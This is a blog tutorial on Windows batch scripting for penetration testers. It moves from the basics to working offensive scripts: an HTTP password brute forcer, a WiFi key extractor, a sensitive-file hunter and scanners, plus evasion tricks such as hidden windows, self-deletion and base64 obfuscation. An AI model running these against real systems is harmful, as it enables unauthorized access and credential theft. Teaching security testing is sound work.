Batch scripting for Hackers
Thilan Dissanayaka Penetration Testing June 09, 2020

Batch scripting for Hackers

Batch Scripting for Hackers

Chapter 1: Your First Batch Script

Let’s create your first Windows batch file. Open Notepad and follow along:

C:\Users\Thilan\scripts> dir
C:\Users\Thilan\scripts> notepad script.bat
C:\Users\Thilan\scripts> script.bat
Hello from Batch!
C:\Users\Thilan\scripts>

What’s different from Bash?

  • Batch files end with .bat or .cmd
  • No need for chmod - they’re automatically executable on Windows
  • Use notepad or any text editor to create them

💡 Quick Tip: Right-click and "Edit" to open batch files in Notepad quickly!


Chapter 2: Variables - Storing Information

Variables in batch work differently than bash:

@echo off
set x=1
echo Value of x is %x%

Output:

C:\Users\Thilan\scripts> script.bat
Value of x is 1

Key Differences:

  • Use set to create variables
  • Use %variable% to access them (not $variable)
  • @echo off hides commands (makes output cleaner)

Using Variables with Text

@echo off
set name=Thilan
echo Hi %name%, how are you?

⚠️ Important: Spaces matter in batch!

set y = 5     REM ❌ This creates a variable named \"y \" (with space)
set y=5       REM ✅ Correct

Chapter 3: Getting User Input

Make your scripts interactive with set /p:

@echo off
set /p name=Enter your name: 
echo Hello %name%
pause

What’s pause?

  • It stops the script and waits for you to press a key
  • Without it, the window closes immediately
  • Useful for seeing output before the window closes

Try it yourself:

  1. Create a script that asks for your age
  2. Calculate the year you were born
  3. Display the result

Chapter 4: Making Decisions (If Statements)

Batch can make choices too:

@echo off
set x=10

if %x% GTR 5 (
    echo x is greater than 5
) else if %x% EQU 5 (
    echo x is equal to 5
) else (
    echo x is less than 5
)

Comparison Operators:

  • EQU → equal to
  • NEQ → not equal to
  • GTR → greater than
  • LSS → less than
  • GEQ → greater or equal
  • LEQ → less or equal

Checking if Files Exist

@echo off
if exist \"passwords.txt\" (
    echo File found!
) else (
    echo File not found!
)

Chapter 5: Loops - Doing Things Repeatedly

For Loop (Simple List)

@echo off
for %%i in (1 2 3 4 5) do (
    echo Number %%i
)
pause

⚠️ Important: Use %%i in batch files, but %i in command line!

For Loop (Range of Numbers)

@echo off
for /L %%i in (1,1,5) do (
    echo Number %%i
)
pause

Syntax: /L %%i in (start, step, end)

For Loop (Files in Directory)

@echo off
for %%f in (*.txt) do (
    echo Found file: %%f
)
pause

Chapter 6: Functions (Labels and CALL)

Batch doesn’t have real functions, but we use labels:

@echo off
call :greet Thilan
call :greet Sarah
pause
exit /b

:greet
echo Hello %1
exit /b

How it works:

  • :greet is a label (like a function name)
  • call :greet jumps to that label
  • %1 is the first argument
  • exit /b returns from the label

Chapter 7: Hacking Scripts - Real Examples

Now let’s build some Windows hacking tools!

1. Port Scanner

@echo off
setlocal enabledelayedexpansion
set target=%1

if \"%target%\"==\"\" (
    echo Usage: %0 ^<target^>
    exit /b
)

echo Scanning %target%...

for %%p in (21 22 23 25 80 443 3389 8080) do (
    (echo test > nul 2>&1) | powershell -Command \"$client = New-Object System.Net.Sockets.TcpClient; try { $client.Connect('%target%', %%p); $client.Close(); Write-Host 'Port %%p is OPEN' -ForegroundColor Green } catch { }\" 2>nul
)

pause

Usage:

portscan.bat 192.168.1.1

What it does:

  • Scans common ports (FTP, SSH, HTTP, HTTPS, RDP, etc.)
  • Uses PowerShell for TCP connections
  • Shows which ports are open

2. Password Brute Forcer (HTTP)

@echo off
set url=http://example.com
set user=admin

echo [*] Starting password attack on %url%
echo.

for /F \"tokens=*\" %%p in (passwords.txt) do (
    curl -s -o nul -w \"%%{http_code}\" -u %user%:%%p %url% > response.txt
    set /p code=<response.txt
    
    if \"!code!\"==\"200\" (
        echo [+] Password found: %%p
        goto :found
    ) else (
        echo [-] Trying: %%p
    )
)

echo [!] Password not found
goto :end

:found
echo [+] Attack successful!

:end
del response.txt 2>nul
pause

Requirements:

  • passwords.txt file with one password per line
  • curl installed (comes with Windows 10+)

⚠️ Legal Warning: Only use on systems you own or have permission to test!


3. Network Information Gatherer

@echo off
echo ================================
echo    NETWORK INFORMATION
echo ================================
echo.

echo [*] Your IP Configuration:
ipconfig | findstr /i \"IPv4 Subnet Gateway\"
echo.

echo [*] Active Network Connections:
netstat -an | findstr \"ESTABLISHED\"
echo.

echo [*] DNS Cache:
ipconfig /displaydns | findstr \"Record\" | more
echo.

echo [*] ARP Table:
arp -a
echo.

pause

What it shows:

  • Your IP address and gateway
  • Active connections
  • DNS records cached on your machine
  • ARP table (IP to MAC address mapping)

4. File Hunter (Find Sensitive Files)

@echo off
set search_dir=%1

if \"%search_dir%\"==\"\" set search_dir=C:\

echo Scanning %search_dir% for sensitive files...
echo ================================
echo.

echo [*] Looking for password files...
dir /s /b \"%search_dir%\*password*.*\" 2>nul

echo.
echo [*] Looking for backup files...
dir /s /b \"%search_dir%\*.bak\" 2>nul

echo.
echo [*] Looking for configuration files...
dir /s /b \"%search_dir%\*.config\" \"%search_dir%\*.ini\" 2>nul

echo.
echo [*] Looking for database files...
dir /s /b \"%search_dir%\*.db\" \"%search_dir%\*.sqlite\" 2>nul

echo.
echo Scan complete!
pause

Usage:

filehunter.bat C:\Users

5. WiFi Password Extractor

@echo off
echo ================================
echo   WiFi Password Extractor
echo ================================
echo.

echo [*] Saved WiFi Networks:
netsh wlan show profiles
echo.
echo ================================
echo.

set /p network=Enter network name to get password: 

echo.
echo [*] Password for %network%:
netsh wlan show profile name=\"%network%\" key=clear | findstr \"Key Content\"
echo.

pause

What it does:

  • Shows all saved WiFi networks
  • Extracts the password for a specific network
  • Uses Windows netsh command

💡 Tip: You need admin rights to see passwords!


6. System Information Collector

@echo off
set output=system_info.txt

echo [*] Collecting system information...
echo ================================ > %output%
echo    SYSTEM INFORMATION >> %output%
echo ================================ >> %output%
echo. >> %output%

echo [*] Computer Name: >> %output%
hostname >> %output%
echo. >> %output%

echo [*] Current User: >> %output%
whoami >> %output%
echo. >> %output%

echo [*] System Info: >> %output%
systeminfo | findstr /i \"OS Host System Boot Domain Logon\" >> %output%
echo. >> %output%

echo [*] Running Processes: >> %output%
tasklist >> %output%
echo. >> %output%

echo [*] Installed Software: >> %output%
wmic product get name,version >> %output%
echo. >> %output%

echo [+] Information saved to %output%
notepad %output%

What it collects:

  • Computer name and current user
  • OS version and system info
  • Running processes
  • Installed software

7. Quick Ping Sweeper

@echo off
set subnet=%1

if \"%subnet%\"==\"\" (
    echo Usage: %0 ^<subnet^> (e.g., 192.168.1)
    exit /b
)

echo [*] Scanning %subnet%.1-254
echo.

for /L %%i in (1,1,254) do (
    ping -n 1 -w 100 %subnet%.%%i | findstr /i \"reply\" >nul
    if !errorlevel! equ 0 (
        echo [+] %subnet%.%%i is ALIVE
    )
)

echo.
echo [*] Scan complete!
pause

Usage:

pingsweep.bat 192.168.1

Chapter 8: Advanced Tricks

1. Using PowerShell Inside Batch

@echo off
echo Running PowerShell command...
powershell -Command \"Get-Process | Where-Object {$_.CPU -gt 10} | Select-Object Name, CPU\"
pause

Why mix them?

  • PowerShell is more powerful
  • Batch is simpler for basic tasks
  • Combine both for best results!

2. Delayed Expansion

@echo off
setlocal enabledelayedexpansion

set count=0
for %%f in (*.txt) do (
    set /a count+=1
    echo File !count!: %%f
)

echo Total files: !count!
pause

Why use !variable! instead of %variable%?

  • Inside loops, %variable% doesn’t update
  • Use !variable! for real-time updates

3. Redirecting Output

REM Save output to file
dir > files.txt

REM Append to file
echo More info >> files.txt

REM Hide error messages
dir nonexistent 2>nul

REM Save both output and errors
command > output.txt 2>&1

4. Command Line Arguments

@echo off
echo Script name: %0
echo First argument: %1
echo Second argument: %2
echo All arguments: %*
echo Number of arguments: %~n0

if \"%1\"==\"\" (
    echo No arguments provided!
    exit /b
)

Chapter 9: Practice Challenges

Challenge 1: Network Scanner

Create a script that:

  1. Asks for a subnet (like 192.168.1)
  2. Pings all addresses from .1 to .254
  3. For each alive host, scan ports 80, 443, 3389
  4. Save results to a file

Challenge 2: Password Generator

Create a script that:

  1. Asks how many passwords to generate
  2. Asks for password length
  3. Uses PowerShell to create random passwords
  4. Saves them to a file

Hint:

powershell -Command \"([char[]](65..90+97..122+48..57) | Get-Random -Count 12) -join ''\"

Challenge 3: Process Monitor

Create a script that:

  1. Lists all running processes
  2. Asks user to enter a process name
  3. Shows detailed info about that process
  4. Option to kill the process

Chapter 10: Batch vs PowerShell vs Bash

Feature Batch PowerShell Bash
Platform Windows Windows Linux/Mac
Power Basic Advanced Advanced
Syntax Simple Complex Medium
Objects No Yes No
Best for Quick tasks Automation Linux admin

When to use Batch:

  • Quick and simple Windows tasks
  • Legacy system support
  • Simple automation
  • When PowerShell isn’t available

When to use PowerShell instead:

  • Complex Windows administration
  • Working with .NET objects
  • Active Directory tasks
  • Modern Windows systems

Chapter 11: Security & Evasion

1. Hide Command Window

@echo off
if not \"%1\"==\"am_admin\" (
    powershell -Command \"Start-Process -FilePath '%0' -ArgumentList 'am_admin' -WindowStyle Hidden\"
    exit /b
)

REM Your code here runs hidden

2. Check for Admin Rights

@echo off
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo This script requires Administrator privileges!
    pause
    exit /b
)

echo Running as Administrator
REM Your privileged code here

3. Self-Destruct Script

@echo off
echo Running...
REM Your code here

REM Delete itself
(goto) 2>nul & del \"%~f0\"

4. Encode Commands (Simple Obfuscation)

@echo off
REM Instead of: echo Hello World
set msg=SGVsbG8gV29ybGQ=
powershell -Command \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%msg%'))\"

Chapter 12: Useful One-Liners

Network Commands

REM Show all network connections
netstat -ano

REM Show WiFi passwords
for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

REM Find your external IP
powershell -Command \"(Invoke-WebRequest -Uri 'https://ifconfig.me').Content\"

REM DNS lookup
nslookup google.com

System Commands

REM List all services
sc query type= service state= all

REM Check startup programs
wmic startup get caption,command

REM Get system serial number
wmic bios get serialnumber

REM List installed programs
wmic product get name,version

File Operations

REM Find large files (over 100MB)
forfiles /S /M * /C \"cmd /c if @fsize GTR 104857600 echo @path @fsize\"

REM Find files modified today
forfiles /S /D 0 /C \"cmd /c echo @path @fdate\"

REM Search file contents
findstr /S /I \"password\" *.txt

Chapter 13: Best Practices

1. Always Start Clean

@echo off
setlocal enabledelayedexpansion
REM Your code here
endlocal

2. Add Usage Information

@echo off
if \"%1\"==\"\" (
    echo Usage: %~nx0 ^<target^> [options]
    echo.
    echo Examples:
    echo   %~nx0 192.168.1.1
    echo   %~nx0 example.com
    exit /b 1
)

3. Error Handling

@echo off
command 2>nul
if %errorlevel% neq 0 (
    echo Error: Command failed!
    exit /b %errorlevel%
)

4. Create Logs

@echo off
set logfile=script_%date:~-4,4%%date:~-10,2%%date:~-7,2%.log

echo [%time%] Script started >> %logfile%
REM Your commands here
echo [%time%] Script completed >> %logfile%

5. Clean Up Temp Files

@echo off
REM Your code that creates temp files

:cleanup
del temp_*.txt 2>nul
exit /b

Chapter 14: Combining Batch with Other Tools

Using cURL

@echo off
REM Download a file
curl -o output.html https://example.com

REM POST data
curl -X POST -d \"user=admin&pass=test\" https://example.com/login

REM Check HTTP status
curl -s -o nul -w \"%%{http_code}\" https://example.com

Using Nmap (if installed)

@echo off
set target=%1
echo Scanning %target%...

nmap -sV -O %target% > scan_results.txt
type scan_results.txt

pause

Using Python Scripts

@echo off
REM Check if Python is installed
python --version >nul 2>&1
if %errorlevel% neq 0 (
    echo Python is not installed!
    exit /b
)

REM Run Python script
python my_script.py %1 %2

Final Tips for Windows Hackers

  1. Learn PowerShell - It’s more powerful than batch for modern Windows
  2. Use WSL - Windows Subsystem for Linux gives you bash on Windows
  3. Test safely - Use VMs for testing your scripts
  4. Get permission - Never run these scripts on systems you don’t own
  5. Study documentation - Run help command or command /? to learn more

Useful Built-in Commands to Learn:

  • netstat - Network connections
  • tasklist / taskkill - Process management
  • wmic - Windows Management Instrumentation
  • net - Network administration
  • reg - Registry operations
  • schtasks - Task scheduling
ALSO READ
Blockchain 0x000 – Understanding the Fundamentals
May 21, 2020 Web3 Development

Imagine a world where strangers can exchange money, share data, or execute agreements without ever needing to trust a central authority. No banks, no intermediaries, no single point of failure yet...

Identity and Access Management (IAM)
May 11, 2020 Identity & Access Management

Who are you — and what are you allowed to do? That's the fundamental question every secure system must answer. And it's exactly what Identity and Access Management (IAM) is built to solve.

How I built a web based CPU Simulator
May 07, 2020 Pet Projects

As someone passionate about computer engineering, reverse engineering, and system internals, I've always been fascinated by what happens "under the hood" of a computer. This curiosity led me to...

Writing a Shell Code for Linux
Apr 21, 2020 Exploit Development

Shellcode is a small piece of machine code used as the payload in exploit development. In this post, we write Linux shellcode from scratch — starting with a simple exit, building up to spawning a shell, and explaining every decision along the way.

Exploiting a Stack Buffer Overflow on Windows
Apr 12, 2020 Exploit Development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Access Control Models
Apr 08, 2020 Identity & Access Management

Access control is one of the most fundamental concepts in security. Every time you set file permissions, assign user roles, or restrict access to a resource, you're implementing some form of access control. But not all access control is created equal...

Exploiting a  Stack Buffer Overflow  on Linux
Apr 01, 2020 Exploit Development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Basic concepts of Cryptography
Mar 01, 2020 Cryptography

Ever notice that little padlock icon in your browser's address bar? That's cryptography working silently in the background, protecting everything you do online. Whether you're sending an email,...

Common Web Application Attacks
Feb 05, 2020 Application Security

Web applications are one of the most targeted surfaces by attackers. This is primarily because they are accessible over the internet, making them exposed and potentially vulnerable. Since these...

Remote Code Execution (RCE)
Jan 02, 2020 Application Security

Remote Code Execution (RCE) is the holy grail of application security vulnerabilities. It allows an attacker to execute arbitrary code on a remote server — and the consequences are as bad as it sounds. In this post, we'll go deep into RCE across multiple languages, including PHP, Java, Python, and Node.js.